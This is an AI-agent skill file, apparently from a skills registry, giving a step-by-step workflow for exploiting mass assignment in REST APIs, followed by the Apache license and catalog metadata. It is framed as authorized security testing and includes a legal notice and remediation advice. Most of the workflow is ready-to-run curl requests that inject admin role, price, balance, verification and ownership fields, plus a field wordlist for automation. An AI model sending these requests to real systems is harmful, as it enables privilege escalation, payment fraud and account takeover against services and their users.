--- name: exploiting-mass-assignment-in-rest-apis-2c10a469d61f description: Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API requests. domain: cybersecurity subdomain: web-application-security tags: [mass-assignment, api-security, privilege-escalation, rest-api, autobinding, parameter-injection, owasp-api] version: "1.0" author: mahipal license: Apache-2.0 --- # Exploiting Mass Assignment in REST APIs ## When to Use - When testing REST APIs that accept JSON input for creating or updating resources - During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring) - When testing user registration, profile update, or account management endpoints - During bug bounty hunting on applications with CRUD API operations - When evaluating role-based access control implementation in API-driven applications ## Prerequisites - Burp Suite or Postman for API request crafting and interception - Understanding of ORM auto-binding behavior in common frameworks - API documentation or endpoint discovery through reconnaissance - Multiple user accounts with different privilege levels for testing - Knowledge of common sensitive fields (role, isAdmin, verified, balance, price) - Arjun or param-miner for hidden parameter discovery > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## Workflow ### Step 1 — Discover API Structure and Fields ```bash # Examine API responses to identify all object fields curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq . # Response reveals fields: id, username, email, role, isAdmin, verified, balance # Check API documentation for exposed schemas curl http://target.com/api/docs curl http://target.com/swagger.json curl http://target.com/openapi.yaml # Use Arjun for hidden parameter discovery arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN" # Examine create/update request body vs response body # The response may contain more fields than the request sends # Those extra fields are mass assignment candidates ``` ### Step 2 — Test Privilege Escalation via Role Fields ```bash # Inject role/admin fields in profile update curl -X PUT http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"username":"testuser","email":"test@test.com","role":"admin"}' # Try common admin field names curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"isAdmin":true}' curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}' # Test during registration curl -X POST http://target.com/api/register \ -H "Content-Type: application/json" \ -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}' ``` ### Step 3 — Test Financial and Business Logic Fields ```bash # Modify price or balance fields curl -X POST http://target.com/api/orders \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"product_id":1,"quantity":1,"price":0.01}' # Modify account balance curl -X PATCH http://target.com/api/wallet \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"balance":999999}' # Modify discount or coupon fields curl -X POST http://target.com/api/checkout \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}' # Modify subscription tier curl -X PATCH http://target.com/api/subscription \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"plan":"enterprise","price":0}' ``` ### Step 4 — Test Verification and Status Fields ```bash # Bypass email verification curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"email_verified":true,"verified":true,"active":true}' # Modify account status curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"status":"active","banned":false,"suspended":false}' # Modify ownership/organization curl -X PATCH http://target.com/api/users/me \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}' ``` ### Step 5 — Test Relationship and Foreign Key Manipulation ```bash # Change resource ownership curl -X PATCH http://target.com/api/documents/123 \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"owner_id":"admin-user-id"}' # Assign to different group/team curl -X PATCH http://target.com/api/projects/456 \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"team_id":"privileged-team","access_level":"write"}' # Modify created_at/updated_at for audit log manipulation curl -X PATCH http://target.com/api/entries/789 \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"created_at":"2020-01-01","created_by":"other-user-id"}' ``` ### Step 6 — Automate Mass Assignment Testing ```bash # Use Burp Intruder with field names wordlist # Wordlist of common mass assignment fields: # role, admin, isAdmin, is_admin, user_type, privilege, level # verified, email_verified, active, banned, suspended # balance, credits, price, discount, plan, tier # owner_id, organization_id, team_id, group_id # Python automation script python3 mass_assignment_tester.py \ --url http://target.com/api/users/me \ --method PATCH \ --token "Bearer USER_TOKEN" \ --fields-file mass_assignment_fields.txt # Nuclei mass assignment templates echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml ``` ## Key Concepts | Concept | Description | |---------|-------------| | Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction | | Autobinding | Framework feature that maps HTTP parameters directly to object properties | | Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) | | Denylist | List of forbidden fields (less secure than allowlist approach) | | Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API | | DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment | | Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones | ## Tools & Systems | Tool | Purpose | |------|---------| | Burp Suite | API request interception and parameter injection | | Postman | API testing and collection-based mass assignment testing | | Arjun | Hidden parameter discovery tool for API endpoints | | param-miner | Burp extension for discovering hidden parameters | | OWASP ZAP | Automated API scanning with parameter injection | | swagger-codegen | Generate API clients from OpenAPI specs for testing | ## Common Scenarios 1. **Admin Privilege Escalation** — Inject `"role":"admin"` or `"isAdmin":true` in profile update to gain administrative access 2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost 3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements 4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset 5. **Subscription Upgrade** — Inject `plan:"enterprise"` in subscription update to gain premium features without payment ## Output Format ``` ## Mass Assignment Vulnerability Report - **Target**: http://target.com/api/users/me - **Method**: PATCH - **Framework**: Ruby on Rails (detected via X-Powered-By) ### Findings | # | Endpoint | Injected Field | Original | Modified | Impact | |---|----------|---------------|----------|----------|--------| | 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation | | 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss | | 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass | ### Remediation - Implement allowlist (strong_parameters) for all model update operations - Use DTOs/ViewModels to decouple API input from database models - Apply field-level authorization checks on sensitive attributes - Log and alert on attempts to modify restricted fields ``` --- Source attribution: luokai0 Original project: https://github.com/luokai0/ai-agent-skills-by-luo-kai/blob/4d2fb89cdfb75f3f6fd3c6c5ec9ad90ea129eb3c/ai-agent-skills/21-external-registries/08-pinkpixel-collection/exploiting-mass-assignment-in-rest-apis/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Dave AI. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to the Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by the Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding any notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. Please do not remove or change the license header comment from a contributed file except when necessary. Copyright 2026 mukul975 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. # Dave AI resource metadata Creator / publisher: luokai0 Original project: https://github.com/luokai0/ai-agent-skills-by-luo-kai/blob/4d2fb89cdfb75f3f6fd3c6c5ec9ad90ea129eb3c/ai-agent-skills/21-external-registries/08-pinkpixel-collection/exploiting-mass-assignment-in-rest-apis/SKILL.md Attribution basis: Source repository record Fields of work: Data & Analytics, Development & Engineering Roles: Data Analyst, QA / Test Engineer, Security Engineer Specialties: API Tools: Arjun, Burp Suite, Postman Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: d89a2e3511eb6f3f00f97cded29a86e1cee8b55474adc191d39ebebca996f92d